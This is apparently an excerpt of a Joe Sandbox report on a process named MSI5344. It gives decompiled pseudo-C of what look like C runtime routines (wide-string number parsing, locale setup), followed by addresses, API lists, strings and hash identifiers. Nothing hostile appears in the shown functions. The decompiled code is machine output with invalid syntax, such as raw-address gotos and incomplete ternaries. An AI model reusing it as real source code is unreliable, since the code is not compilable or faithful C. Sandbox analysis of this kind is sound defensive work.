				long long _v160;
				long long _v168;
				void* __rsi;
				void* __rbp;
				void* _t156;
				void* _t186;
				signed short _t200;
				signed short _t201;
				signed int _t202;
				signed int _t251;
				signed int _t253;
				signed int _t255;
				signed int _t256;
				signed int _t259;
				signed int _t262;
				signed short* _t381;
				signed short* _t382;
				signed short* _t383;
				signed short* _t385;
				signed short** _t386;
				long long _t387;
				long long* _t390;
				signed short* _t391;
				long long* _t395;
				long long* _t396;
				long long* _t397;
				signed short** _t398;
				void* _t399;
				void* _t400;
				signed short* _t405;
				signed short* _t406;
				long long _t408;
				signed short* _t409;
				long long _t410;
				intOrPtr _t411;

				_t404 = __r8;
				_t395 = __rdx;
				_t387 = __rbx;
				_a24 = __rbx;
				_a8 = __rcx;
				_t408 =  *((intOrPtr*)(__rdx));
				r13d = 0;
				_t256 = r9b & 0xffffffff;
				r14d = r8d;
				_v64 = _t408;
				_t398 = __rdx;
				if (_t408 != 0) goto 0xaf717c17;
				E00007FF77FF7AF70F830(__rax);
				 *__rax = 0x16;
				E00007FF77FF7AF70F6C4();
				goto 0xaf717c49;
				if (r14d == 0) goto 0xaf717c61;
				_t4 = _t404 - 2; // 0xa
				if (_t4 - 0x22 <= 0) goto 0xaf717c61;
				_v160 = __rcx;
				r9d = 0;
				 *((char*)(__rcx + 0x30)) = 1;
				r8d = 0;
				 *(__rcx + 0x2c) = 0x16;
				_v168 = _t410;
				E00007FF77FF7AF70F5F4(__rax, __rbx, __rcx, __rdx, _t399, _t400, __r8);
				_t390 = _t398[1];
				if (_t390 == 0) goto 0xaf7182ad;
				 *_t390 =  *_t398;
				goto 0xaf7182ad;
				_t10 = _t408 + 2; // 0x2
				 *_t395 = _t10;
				_t261 = r13d;
				if ( *((intOrPtr*)(_t390 + 0x28)) != r13b) goto 0xaf717c8b;
				E00007FF77FF7AF714210(_t10, _t387, _t390, _t395, _t399);
				goto 0xaf717c8b;
				_t379 =  *_t398;
				 *_t398 =  &(( *_t398)[1]);
				if (E00007FF77FF7AF722D6C( *_t379 & 0xffff, 8, _t387, _t390) != 0) goto 0xaf717c7e;
				_t258 =  !=  ? _t256 : _t256 | 0x00000002;
				if ((0x0000fffd & _t387 - 0x0000002b) != 0) goto 0xaf717cc2;
				_t381 =  *_t398;
				_t200 =  *_t381 & 0x0000ffff;
				_t382 =  &(_t381[1]);
				 *_t398 = _t382;
				_a16 = 0xa70;
				_v152 = 0xae6;
				_v148 = 0xaf0;
				_v144 = 0xb66;
				r8d = 0x660;
				_v140 = 0xb70;
				_t20 = _t382 - 0x80; // 0x5e0
				r9d = _t20;
				_v136 = 0xc66;
				r10d = 0x6f0;
				_v132 = 0xc70;
				r11d = 0x966;
				_v128 = 0xce6;
				_v124 = 0xcf0;
				_v120 = 0xd66;
				_v116 = 0xd70;
				_v112 = 0xe50;
				_v108 = 0xe5a;
				_v104 = 0xed0;
				_v100 = 0xeda;
				_v96 = 0xf20;
				_v92 = 0xf2a;
				_v88 = 0x1040;
				_v84 = 0x104a;
				_v80 = 0x17e0;
				_v76 = 0x17ea;
				_v72 = 0x1810;
				_v68 = 0xff1a;
				if ((r14d & 0xffffffef) != 0) goto 0xaf718030;
				if (_t200 - 0x30 < 0) goto 0xaf717f7f;
				if (_t200 - 0x3a >= 0) goto 0xaf717dce;
				goto 0xaf717f7a;
				if (_t200 - 0xff10 >= 0) goto 0xaf717f6b;
				if (_t200 - r8w < 0) goto 0xaf717f7f;
				if (_t200 - 0x66a >= 0) goto 0xaf717df6;
				goto 0xaf717f7a;
				if (_t200 - r10w < 0) goto 0xaf717f7f;
				if (_t200 - 0x6fa >= 0) goto 0xaf717e15;
				goto 0xaf717f7a;
				if (_t200 - r11w < 0) goto 0xaf717f7f;
				if (_t200 - 0x970 >= 0) goto 0xaf717e34;
				goto 0xaf717f7a;
				if (_t200 - r9w < 0) goto 0xaf717f7f;
				if (_t200 - 0x9f0 >= 0) goto 0xaf717e53;
				goto 0xaf717f7a;
				if (_t200 - (_t200 & 0x0000ffff) - r9d < 0) goto 0xaf717f7f;
				if (_t200 - _a16 >= 0) goto 0xaf717e73;
				goto 0xaf717f7a;
				if (_t200 - _v152 < 0) goto 0xaf717f7f;
				if (_t200 - _v148 < 0) goto 0xaf717dc4;
				if (_t200 - _v144 < 0) goto 0xaf717f7f;
				if (_t200 - _v140 < 0) goto 0xaf717dc4;
				if (_t200 - _v136 < 0) goto 0xaf717f7f;
				if (_t200 - _v132 < 0) goto 0xaf717dc4;
				if (_t200 - _v128 < 0) goto 0xaf717f7f;
				if (_t200 - _v124 < 0) goto 0xaf717dc4;
				if (_t200 - _v120 < 0) goto 0xaf717f7f;
				if (_t200 - _v116 < 0) goto 0xaf717dc4;
				if (_t200 - _v112 < 0) goto 0xaf717f7f;
				if (_t200 - _v108 < 0) goto 0xaf717dc4;
				if (_t200 - _v104 < 0) goto 0xaf717f7f;
				if (_t200 - _v100 < 0) goto 0xaf717dc4;
				if (_t200 - _v96 < 0) goto 0xaf717f7f;
				if (_t200 - _v92 < 0) goto 0xaf717dc4;
				if (_t200 - _v88 < 0) goto 0xaf717f7f;
				if (_t200 - _v84 < 0) goto 0xaf717dc4;
				if (_t200 - _v80 < 0) goto 0xaf717f7f;
				if (_t200 - _v76 < 0) goto 0xaf717dc4;
				if ((_t200 & 0x0000ffff) - _v72 - 9 > 0) goto 0xaf717f7f;
				goto 0xaf717dc4;
				if (_t200 - _v68 >= 0) goto 0xaf717f7f;
				if ((_t200 & 0x0000ffff) - 0xff10 != 0xffffffff) goto 0xaf717fa1;
				_t64 = _t390 - 0x41; // -17
				_t65 = _t390 - 0x61; // -49
				_t156 = _t65;
				if (_t64 - 0x19 <= 0) goto 0xaf717f96;
				if (_t156 - 0x19 > 0) goto 0xaf718021;
				if (_t156 - 0x19 > 0) goto 0xaf717f9e;
				_t66 = _t390 - 0x37; // -231
				if (_t66 != 0) goto 0xaf718021;
				_t391 =  *_t398;
				r9d = 0xffdf;
				_t251 =  *_t391 & 0x0000ffff;
				_t67 =  &(_t391[1]); // 0xffe1
				_t405 = _t67;
				 *_t398 = _t405;
				_t68 = _t395 - 0x58; // 0x698
				if ((r9w & _t68) == 0) goto 0xaf718009;
				 *_t398 = _t391;
				_t160 =  !=  ? r14d : 8;
				r14d =  !=  ? r14d : 8;
				if (_t251 == 0) goto 0xaf718001;
				if ( *_t391 == _t251) goto 0xaf718001;
				E00007FF77FF7AF70F830(_t382);
				 *_t382 = 0x16;
				E00007FF77FF7AF70F6C4();
				r8d = 0x660;
				r10d = 0x6f0;
				r11d = 0x966;
				goto 0xaf718030;
				r8d = 0x660;
				goto 0xaf718030;
				_t201 =  *_t405 & 0x0000ffff;
				_t71 =  &(_t405[1]); // 0xffe3
				_t383 = _t71;
				 *_t398 = _t383;
				r8d = 0x660;
				goto 0xaf718026;
				_t165 =  !=  ? r14d : 0xa;
				r14d = 0xa;
				_t166 = ( !=  ? r14d : 0xa) | 0xffffffff;
				_t73 = (( !=  ? r14d : 0xa) | 0xffffffff) % r14d;
				_t253 = (( !=  ? r14d : 0xa) | 0xffffffff) % r14d;
				r12d = 0x30;
				r15d = 0xff10;
				r9d = 0xa / r14d;
				if (_t201 - r12w < 0) goto 0xaf718200;
				if (_t201 - 0x3a >= 0) goto 0xaf718062;
				goto 0xaf7181fb;
				if (_t201 - r15w >= 0) goto 0xaf7181eb;
				if (_t201 - r8w < 0) goto 0xaf718200;
				if (_t201 - 0x66a >= 0) goto 0xaf71808b;
				goto 0xaf7181fb;
				if (_t201 - r10w < 0) goto 0xaf718200;
				if (_t201 - 0x6fa >= 0) goto 0xaf7180aa;
				goto 0xaf7181fb;
				if (_t201 - r11w < 0) goto 0xaf718200;
				if (_t201 - 0x970 >= 0) goto 0xaf7180c9;
				goto 0xaf7181fb;
				if (_t201 - 0x9e6 < 0) goto 0xaf718200;
				_t76 =  &(_t383[5]); // 0x9f0
				if (_t201 - _t76 >= 0) goto 0xaf7180e9;
				goto 0xaf7181fb;
				if (_t201 - 0xa66 < 0) goto 0xaf718200;
				if (_t201 - _a16 < 0) goto 0xaf7180df;
				if (_t201 - _v152 < 0) goto 0xaf718200;
				if (_t201 - _v148 < 0) goto 0xaf7180df;
				if (_t201 - _v144 < 0) goto 0xaf718200;
				if (_t201 - _v140 < 0) goto 0xaf7180df;
				if (_t201 - _v136 < 0) goto 0xaf718200;
				if (_t201 - _v132 < 0) goto 0xaf7180df;
				if (_t201 - _v128 < 0) goto 0xaf718200;
				if (_t201 - _v124 < 0) goto 0xaf7180df;
				if (_t201 - _v120 < 0) goto 0xaf718200;
				if (_t201 - _v116 < 0) goto 0xaf7180df;
				if (_t201 - _v112 < 0) goto 0xaf718200;
				if (_t201 - _v108 < 0) goto 0xaf7180df;
				if (_t201 - _v104 < 0) goto 0xaf718200;
				if (_t201 - _v100 < 0) goto 0xaf7180df;
				if (_t201 - _v96 < 0) goto 0xaf718200;
				if (_t201 - _v92 < 0) goto 0xaf7180df;
				if (_t201 - _v88 < 0) goto 0xaf718200;
				if (_t201 - _v84 < 0) goto 0xaf7180df;
				if (_t201 - _v80 < 0) goto 0xaf718200;
				if (_t201 - _v76 < 0) goto 0xaf7180df;
				if ((_t201 & 0x0000ffff) - _v72 - 9 > 0) goto 0xaf718200;
				goto 0xaf7181fb;
				if (_t201 - _v68 >= 0) goto 0xaf718200;
				if ((_t201 & 0x0000ffff) - r15d != 0xffffffff) goto 0xaf718223;
				_t100 = _t391 - 0x41; // -65
				_t101 = _t391 - 0x61; // -97
				_t186 = _t101;
				if (_t100 - 0x19 <= 0) goto 0xaf718213;
				if (_t186 - 0x19 > 0) goto 0xaf718220;
				if (_t186 - 0x19 > 0) goto 0xaf71821b;
				goto 0xaf718223;
				_t406 =  *_t398;
				if (((_t201 & 0x0000ffff) + 0x1ffffffa9 | 0xffffffff) - r14d >= 0) goto 0xaf718267;
				_t202 =  *_t406 & 0x0000ffff;
				_t255 = _t383 + _t391;
				_t262 = _t255;
				_t107 =  &(_t406[1]); // 0xe
				r8d = 0x660;
				 *_t398 = _t107;
				_t259 = ( !=  ? _t256 : _t256 | 0x00000002) | (r13d & 0xffffff00 | _t255 - r13d * r14d > 0x00000000 | r13d & 0xffffff00 | _t261 - r9d > 0x00000000) << 0x00000002 | 0x00000008;
				goto 0xaf718047;
				_t411 = _a8;
				_t109 = _t406 - 2; // 0xa
				_t385 = _t109;
				_t409 = _v64;
				 *_t398 = _t385;
				if (_t202 == 0) goto 0xaf718298;
				if ( *_t385 == _t202) goto 0xaf718298;
				E00007FF77FF7AF70F830(_t385);
				 *_t385 = 0x16;
				E00007FF77FF7AF70F6C4();
				if ((sil & 0x00000008) != 0) goto 0xaf7182b4;
				_t386 = _t398[1];
				 *_t398 = _t409;
				if (_t386 == 0) goto 0xaf7182ad;
				 *_t386 = _t409;
				goto 0xaf718338;
				r8d = 0x80000000;
				_t114 = _t406 - 1; // 0xb
				r9d = _t114;
				if ((sil & 0x00000004) != 0) goto 0xaf7182dc;
				if ((sil & 0x00000001) == 0) goto 0xaf71831f;
				if ((sil & 0x00000002) == 0) goto 0xaf7182d7;
				if (_t262 - r8d <= 0) goto 0xaf718325;
				goto 0xaf7182dc;
				if (_t262 - r9d <= 0) goto 0xaf718327;
				 *((char*)(_t411 + 0x30)) = 1;
				 *((intOrPtr*)(_t411 + 0x2c)) = 0x22;
				if ((_t259 & 0x00000001) != 0) goto 0xaf7182f7;
				goto 0xaf718327;
				_t396 = _t398[1];
				if ((_t259 & 0x00000002) == 0) goto 0xaf71830f;
				if (_t396 == 0) goto 0xaf71830a;
				 *_t396 =  *_t398;
				goto 0xaf718338;
				if (_t396 == 0) goto 0xaf71831a;
				 *_t396 =  *_t398;
				goto 0xaf718338;
				if ((sil & 0x00000002) == 0) goto 0xaf718327;
				_t397 = _t398[1];
				if (_t397 == 0) goto 0xaf718336;
				 *_t397 =  *_t398;
				return  ~(_t262 | 0xffffffff);
			}

0x7ff7af717bcc
0x7ff7af717bcc
0x7ff7af717bcc
0x7ff7af717bcc
0x7ff7af717bd1
0x7ff7af717be8
0x7ff7af717beb
0x7ff7af717bee
0x7ff7af717bf2
0x7ff7af717bf5
0x7ff7af717bfd
0x7ff7af717c03
0x7ff7af717c05
0x7ff7af717c0a
0x7ff7af717c10
0x7ff7af717c15
0x7ff7af717c1a
0x7ff7af717c1c
0x7ff7af717c23
0x7ff7af717c25
0x7ff7af717c2a
0x7ff7af717c2d
0x7ff7af717c31
0x7ff7af717c34
0x7ff7af717c3f
0x7ff7af717c44
0x7ff7af717c49
0x7ff7af717c50
0x7ff7af717c59
0x7ff7af717c5c
0x7ff7af717c66
0x7ff7af717c6b
0x7ff7af717c6e
0x7ff7af717c75
0x7ff7af717c77
0x7ff7af717c7c
0x7ff7af717c7e
0x7ff7af717c88
0x7ff7af717c9a
0x7ff7af717caa
0x7ff7af717cb3
0x7ff7af717cb5
0x7ff7af717cb8
0x7ff7af717cbb
0x7ff7af717cbf
0x7ff7af717cc2
0x7ff7af717cd2
0x7ff7af717cdf
0x7ff7af717cec
0x7ff7af717cf4
0x7ff7af717cfa
0x7ff7af717d02
0x7ff7af717d02
0x7ff7af717d06
0x7ff7af717d0e
0x7ff7af717d14
0x7ff7af717d1c
0x7ff7af717d22
0x7ff7af717d2a
0x7ff7af717d32
0x7ff7af717d3a
0x7ff7af717d42
0x7ff7af717d4a
0x7ff7af717d52
0x7ff7af717d5a
0x7ff7af717d62
0x7ff7af717d6a
0x7ff7af717d72
0x7ff7af717d7a
0x7ff7af717d82
0x7ff7af717d8a
0x7ff7af717d92
0x7ff7af717d9d
0x7ff7af717daf
0x7ff7af717db8
0x7ff7af717dc2
0x7ff7af717dc9
0x7ff7af717dd1
0x7ff7af717ddb
0x7ff7af717de9
0x7ff7af717df1
0x7ff7af717dfa
0x7ff7af717e08
0x7ff7af717e10
0x7ff7af717e19
0x7ff7af717e27
0x7ff7af717e2f
0x7ff7af717e38
0x7ff7af717e46
0x7ff7af717e4e
0x7ff7af717e56
0x7ff7af717e64
0x7ff7af717e6e
0x7ff7af717e7a
0x7ff7af717e85
0x7ff7af717e92
0x7ff7af717e9d
0x7ff7af717eaa
0x7ff7af717eb5
0x7ff7af717ec2
0x7ff7af717ecd
0x7ff7af717eda
0x7ff7af717ee5
0x7ff7af717ef2
0x7ff7af717efd
0x7ff7af717f0a
0x7ff7af717f11
0x7ff7af717f1e
0x7ff7af717f25
0x7ff7af717f32
0x7ff7af717f39
0x7ff7af717f46
0x7ff7af717f4d
0x7ff7af717f64
0x7ff7af717f66
0x7ff7af717f73
0x7ff7af717f7d
0x7ff7af717f82
0x7ff7af717f88
0x7ff7af717f88
0x7ff7af717f8b
0x7ff7af717f90
0x7ff7af717f99
0x7ff7af717f9e
0x7ff7af717fa3
0x7ff7af717fa5
0x7ff7af717fa8
0x7ff7af717fae
0x7ff7af717fb1
0x7ff7af717fb1
0x7ff7af717fb5
0x7ff7af717fb8
0x7ff7af717fbf
0x7ff7af717fc4
0x7ff7af717fcc
0x7ff7af717fd0
0x7ff7af717fd6
0x7ff7af717fdb
0x7ff7af717fdd
0x7ff7af717fe2
0x7ff7af717fe8
0x7ff7af717fed
0x7ff7af717ff3
0x7ff7af717ff9
0x7ff7af717fff
0x7ff7af718001
0x7ff7af718007
0x7ff7af718009
0x7ff7af71800d
0x7ff7af71800d
0x7ff7af718011
0x7ff7af718014
0x7ff7af71801f
0x7ff7af718029
0x7ff7af71802d
0x7ff7af718032
0x7ff7af718035
0x7ff7af718035
0x7ff7af718038
0x7ff7af71803e
0x7ff7af718044
0x7ff7af71804b
0x7ff7af718055
0x7ff7af71805d
0x7ff7af718066
0x7ff7af718070
0x7ff7af71807e
0x7ff7af718086
0x7ff7af71808f
0x7ff7af71809d
0x7ff7af7180a5
0x7ff7af7180ae
0x7ff7af7180bc
0x7ff7af7180c4
0x7ff7af7180d1
0x7ff7af7180d7
0x7ff7af7180dd
0x7ff7af7180e4
0x7ff7af7180f1
0x7ff7af7180ff
0x7ff7af718108
0x7ff7af718113
0x7ff7af71811c
0x7ff7af718127
0x7ff7af718130
0x7ff7af71813b
0x7ff7af718144
0x7ff7af71814f
0x7ff7af718158
0x7ff7af718163
0x7ff7af718170
0x7ff7af71817b
0x7ff7af718188
0x7ff7af71818f
0x7ff7af71819c
0x7ff7af7181a3
0x7ff7af7181b0
0x7ff7af7181b7
0x7ff7af7181c4
0x7ff7af7181cb
0x7ff7af7181e2
0x7ff7af7181e9
0x7ff7af7181f3
0x7ff7af7181fe
0x7ff7af718203
0x7ff7af718209
0x7ff7af718209
0x7ff7af71820c
0x7ff7af718211
0x7ff7af718216
0x7ff7af71821e
0x7ff7af718223
0x7ff7af718229
0x7ff7af71822b
0x7ff7af718235
0x7ff7af718246
0x7ff7af71824d
0x7ff7af718254
0x7ff7af71825d
0x7ff7af718260
0x7ff7af718262
0x7ff7af718267
0x7ff7af71826f
0x7ff7af71826f
0x7ff7af718273
0x7ff7af71827b
0x7ff7af718281
0x7ff7af718286
0x7ff7af718288
0x7ff7af71828d
0x7ff7af718293
0x7ff7af71829c
0x7ff7af71829e
0x7ff7af7182a2
0x7ff7af7182a8
0x7ff7af7182aa
0x7ff7af7182af
0x7ff7af7182b4
0x7ff7af7182ba
0x7ff7af7182ba
0x7ff7af7182c2
0x7ff7af7182c8
0x7ff7af7182ce
0x7ff7af7182d3
0x7ff7af7182d5
0x7ff7af7182da
0x7ff7af7182de
0x7ff7af7182e6
0x7ff7af7182f0
0x7ff7af7182f5
0x7ff7af7182f7
0x7ff7af7182fd
0x7ff7af718302
0x7ff7af718307
0x7ff7af71830d
0x7ff7af718312
0x7ff7af718317
0x7ff7af71831d
0x7ff7af718323
0x7ff7af718327
0x7ff7af71832e
0x7ff7af718333
0x7ff7af718352

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7AF717C10
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7AF717FE8
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7AF718293

Strings

f, xrefs: 00007FF7AF717D32
p, xrefs: 00007FF7AF717D3A
p, xrefs: 00007FF7AF717CC2
0, xrefs: 00007FF7AF718038

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0$f$p$p
API String ID: 3215553584-1202675169
Opcode ID: b330e418463e8cdcea9c5a514631de97098b38a9206f1d35b43828299d34ef8d
Instruction ID: 114465374a7e089c87c81c3761de99761a3abbb5b100dbbb29f252433db3e1a2
Opcode Fuzzy Hash: b330e418463e8cdcea9c5a514631de97098b38a9206f1d35b43828299d34ef8d
Instruction Fuzzy Hash: C412C429E0E9C785FB20BA14D0442FAF6A1FB48794FC64135E699466F4DF3CE489C728

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6DB850 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 160
memoryCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E00007FF77FF7AF6DB850(long long __rax, long long __rbx, int* __rcx, void* __rdx, long long __rdi, long long __rsi) {
				void* __rbp;
				void* _t65;
				intOrPtr _t88;
				long long* _t114;
				int* _t118;
				void* _t121;
				void* _t123;
				void* _t126;
				void* _t127;
				int _t132;

				 *((long long*)(_t123 + 0x10)) = __rbx;
				 *((long long*)(_t123 + 0x18)) = __rsi;
				 *((long long*)(_t123 + 0x20)) = __rdi;
				_t121 = _t123 - 0x47;
				_t118 = __rcx;
				r15d = 0;
				 *((intOrPtr*)(_t121 - 0x79)) = r15d;
				if (__rcx == 0) goto 0xaf6dba2b;
				if ( *((intOrPtr*)(__rcx)) != __rbx) goto 0xaf6dba2b;
				LocalAlloc(_t132);
				_t114 = __rax;
				 *((long long*)(_t121 + 0x67)) = __rax;
				if (__rax == 0) goto 0xaf6db997;
				_t88 =  *((intOrPtr*)(__rdx + 8));
				if (_t88 == 0) goto 0xaf6db8c6;
				if ( *((intOrPtr*)(_t88 + 0x28)) != 0) goto 0xaf6db8cd;
				goto 0xaf6db8cd;
				E00007FF77FF7AF6E8B64(0, _t121 - 0x71);
				 *(_t121 - 0x69) = _t132;
				 *((char*)(_t121 - 0x61)) = 0;
				 *(_t121 - 0x59) = _t132;
				 *((char*)(_t121 - 0x51)) = 0;
				 *(_t121 - 0x49) = _t132;
				 *((intOrPtr*)(_t121 - 0x41)) = r15w;
				 *(_t121 - 0x39) = _t132;
				 *((intOrPtr*)(_t121 - 0x31)) = r15w;
				 *(_t121 - 0x29) = _t132;
				 *((char*)(_t121 - 0x21)) = 0;
				 *(_t121 - 0x19) = _t132;
				 *((char*)(_t121 - 0x11)) = 0;
				if (0xaf7472c1 == 0) goto 0xaf6dba4d;
				E00007FF77FF7AF6E89C4(_t88, 0xaf7472c1, _t121 - 0x71, 0xaf7472c1);
				 *((intOrPtr*)(_t121 - 0x79)) = 1;
				 *_t114 = 0xaf7366f8;
				 *_t114 = 0xaf736718;
				 *((intOrPtr*)(_t114 + 8)) = r15d;
				 *_t114 = 0xaf736740;
				 *_t114 = 0xaf736d88;
				E00007FF77FF7AF6E8DCC(0xaf736d88, _t121 - 9, 0xaf7472c1, _t126);
				asm("movups xmm0, [eax]");
				asm("movups [edi+0x10], xmm0");
				asm("movups xmm1, [eax+0x10]");
				asm("movups [edi+0x20], xmm1");
				E00007FF77FF7AF6E8FC0(0xaf736d88, 0xaf7472c1, _t121 + 0x17, _t127);
				asm("movups xmm0, [eax]");
				asm("movups [edi+0x30], xmm0");
				asm("movups xmm1, [eax+0x10]");
				asm("movups [edi+0x40], xmm1");
				asm("movsd xmm0, [eax+0x20]");
				asm("movsd [edi+0x50], xmm0");
				 *((intOrPtr*)(_t114 + 0x58)) =  *0x7FF7AF736DB0;
				goto 0xaf6db99a;
				 *_t118 = _t132;
				if (1 == 0) goto 0xaf6dba2b;
				 *((intOrPtr*)(_t121 - 0x79)) = 0;
				E00007FF77FF7AF6E8A30(_t121 - 0x71);
				if ( *(_t121 - 0x19) == 0) goto 0xaf6db9c4;
				E00007FF77FF7AF70F228(0xaf7472c1,  *(_t121 - 0x19), 0xaf7472c1, _t118, _t121, _t126);
				 *(_t121 - 0x19) = _t132;
				if ( *(_t121 - 0x29) == 0) goto 0xaf6db9d6;
				E00007FF77FF7AF70F228(0xaf7472c1,  *(_t121 - 0x29), 0xaf7472c1, _t118, _t121, _t126);
				 *(_t121 - 0x29) = _t132;
				if ( *(_t121 - 0x39) == 0) goto 0xaf6db9e8;
				E00007FF77FF7AF70F228(0xaf7472c1,  *(_t121 - 0x39), 0xaf7472c1, _t118, _t121, _t126);
				 *(_t121 - 0x39) = _t132;
				if ( *(_t121 - 0x49) == 0) goto 0xaf6db9fa;
				E00007FF77FF7AF70F228(0xaf7472c1,  *(_t121 - 0x49), 0xaf7472c1, _t118, _t121, _t126);
				 *(_t121 - 0x49) = _t132;
				if ( *(_t121 - 0x59) == 0) goto 0xaf6dba0c;
				E00007FF77FF7AF70F228(0xaf7472c1,  *(_t121 - 0x59), 0xaf7472c1, _t118, _t121, _t126);
				 *(_t121 - 0x59) = _t132;
				if ( *(_t121 - 0x69) == 0) goto 0xaf6dba1e;
				_t65 = E00007FF77FF7AF70F228(0xaf7472c1,  *(_t121 - 0x69), 0xaf7472c1, _t118, _t121, _t126);
				 *(_t121 - 0x69) = _t132;
				E00007FF77FF7AF6E8BDC(_t65, _t121 - 0x71);
				return 2;
			}

0x7ff7af6db850
0x7ff7af6db855
0x7ff7af6db85a
0x7ff7af6db864
0x7ff7af6db873
0x7ff7af6db876
0x7ff7af6db87c
0x7ff7af6db882
0x7ff7af6db88b
0x7ff7af6db898
0x7ff7af6db89e
0x7ff7af6db8a1
0x7ff7af6db8a8
0x7ff7af6db8ae
0x7ff7af6db8b5
0x7ff7af6db8be
0x7ff7af6db8c4
0x7ff7af6db8d3
0x7ff7af6db8d9
0x7ff7af6db8dd
0x7ff7af6db8e1
0x7ff7af6db8e5
0x7ff7af6db8e9
0x7ff7af6db8ed
0x7ff7af6db8f2
0x7ff7af6db8f6
0x7ff7af6db8fb
0x7ff7af6db8ff
0x7ff7af6db903
0x7ff7af6db907
0x7ff7af6db90e
0x7ff7af6db91b
0x7ff7af6db926
0x7ff7af6db930
0x7ff7af6db93a
0x7ff7af6db93d
0x7ff7af6db948
0x7ff7af6db952
0x7ff7af6db959
0x7ff7af6db95e
0x7ff7af6db961
0x7ff7af6db965
0x7ff7af6db969
0x7ff7af6db971
0x7ff7af6db976
0x7ff7af6db979
0x7ff7af6db97d
0x7ff7af6db981
0x7ff7af6db985
0x7ff7af6db98a
0x7ff7af6db992
0x7ff7af6db995
0x7ff7af6db99a
0x7ff7af6db9a0
0x7ff7af6db9a9
0x7ff7af6db9b0
0x7ff7af6db9bd
0x7ff7af6db9bf
0x7ff7af6db9c4
0x7ff7af6db9cf
0x7ff7af6db9d1
0x7ff7af6db9d6
0x7ff7af6db9e1
0x7ff7af6db9e3
0x7ff7af6db9e8
0x7ff7af6db9f3
0x7ff7af6db9f5
0x7ff7af6db9fa
0x7ff7af6dba05
0x7ff7af6dba07
0x7ff7af6dba0c
0x7ff7af6dba17
0x7ff7af6dba19
0x7ff7af6dba1e
0x7ff7af6dba26
0x7ff7af6dba4c

APIs

LocalAlloc.KERNEL32 ref: 00007FF7AF6DB898
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6DB8D3
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF7AF6DB91B
_Getctype.LIBCPMT ref: 00007FF7AF6DB959
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6DBA26
LocalFree.KERNEL32 ref: 00007FF7AF6DBA90

Strings

bad locale name, xrefs: 00007FF7AF6DBA4D

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: std::_$LocalLockit$AllocFreeGetctypeLocinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 65438402-1405518554
Opcode ID: 88d6b42a05437a068f84482d13fd07850abe4b269a546a5d3fc4ae4bb2a8b128
Instruction ID: 9d483a5316e092847e3bded3d3e0f1e885998e60c65ba29b057c940c0eaa98bc
Opcode Fuzzy Hash: 88d6b42a05437a068f84482d13fd07850abe4b269a546a5d3fc4ae4bb2a8b128
Instruction Fuzzy Hash: 2F715C26B06B819AFB05EB60D8502EC73BAEF48744F855536CE4C17A65DF38E064C364

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF710864 Relevance: 11.0, APIs: 3, Strings: 3, Instructions: 475
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00007FF77FF7AF710864(signed short* __rax, long long __rbx, long long __rcx, signed short** __rdx, void* __r8, void* __r10, long long _a8, intOrPtr _a16, long long _a24) {
				void* _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				long long _v160;
				long long _v168;
				void* __rsi;
				void* __rbp;
				signed int _t134;
				void* _t154;
				void* _t184;
				signed short _t197;
				signed short _t198;
				signed int _t199;
				signed int _t246;
				signed int _t248;
				signed int _t250;
				signed int _t254;
				signed int _t257;
				signed short* _t371;
				signed short* _t372;
				signed short* _t374;
				signed short** _t375;
				long long _t376;
				long long* _t379;
				signed short* _t380;
				signed short* _t381;
				signed short** _t385;
				long long* _t386;
				long long* _t387;
				signed short** _t388;
				void* _t389;
				signed short* _t394;
				signed short* _t395;
				long long _t397;
				intOrPtr _t398;
				long long _t399;
				signed short* _t400;

				_t393 = __r8;
				_t385 = __rdx;
				_t376 = __rbx;
				_a24 = __rbx;
				_a8 = __rcx;
				_t399 =  *__rdx;
				r12d = 0;
				_v64 = _t399;
				r14d = r8d;
				_t388 = __rdx;
				if (_t399 != 0) goto 0xaf7108ab;
				E00007FF77FF7AF70F830(__rax);
				 *__rax = 0x16;
				E00007FF77FF7AF70F6C4();
				goto 0xaf7108dd;
				if (r14d == 0) goto 0xaf7108f5;
				_t4 = _t393 - 2; // -2
				if (_t4 - 0x22 <= 0) goto 0xaf7108f5;
